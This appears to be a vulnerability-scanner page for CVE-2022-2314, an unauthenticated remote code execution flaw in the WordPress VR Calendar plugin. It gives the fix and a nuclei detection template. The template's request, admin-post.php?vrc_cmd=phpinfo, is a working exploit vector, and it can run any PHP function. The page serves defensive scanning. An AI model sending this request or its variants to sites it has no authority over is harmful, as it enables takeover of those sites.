WordPress VR Calendar <=2.3.2 - Remote Code Execution

criticalseverity

9.8CVSS score

17.2%likelihood of exploitation, next 30 days

97%of all CVEs are less likely

Readycheck to confirm it

WordPress VR Calendar plugin through 2.3.2 is susceptible to remote code execution. The plugin allows any user to execute arbitrary PHP functions on the site. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected WordPress site.

Fix

Update the WordPress VR Calendar plugin to version 2.3.3 or later to mitigate this vulnerability.

How to confirm it

Send: GET /wp-content/plugins/vr-calendar-sync/assets/js/public.js ; GET /wp-admin/admin-post.php?vrc_cmd=phpinfo
Positive when: contains in body_2 "phpinfo" and "PHP Version" AND contains in body_1 "vrc-calendar" AND status 200

Run it with nuclei: nuclei -id CVE-2022-2314 -u <target>

The full check

id: CVE-2022-2314

info:
  name: WordPress VR Calendar <=2.3.2 - Remote Code Execution
  author: theamanrawat
  severity: critical
  description: |
    WordPress VR Calendar plugin through 2.3.2 is susceptible to remote code execution. The plugin allows any user to execute arbitrary PHP functions on the site. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected WordPress site.
  remediation: |
    Update the WordPress VR Calendar plugin to version 2.3.3 or later to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/b22fe77c-844e-4c24-8023-014441cc1e82
    - https://wordpress.org/plugins/vr-calendar-sync/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-2314
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-2314
    cwe-id: CWE-78,NVD-CWE-noinfo
    epss-score: 0.17152
    epss-percentile: 0.97112
    cpe: cpe:2.3:a:vr_calendar_project:vr_calendar:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: vr_calendar_project
    product: vr_calendar
    framework: wordpress
  tags: cve,cve2022,wordpress,wp,wp-plugin,rce,vr-calendar-sync,unauth,wpscan,vr_calendar_project,vkev,vuln

http:
  - raw:
      - |
        GET /wp-content/plugins/vr-calendar-sync/assets/js/public.js HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /wp-admin/admin-post.php?vrc_cmd=phpinfo HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - "phpinfo"
          - "PHP Version"
        condition: and

      - type: word
        part: body_1
        words:
          - "vrc-calendar"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from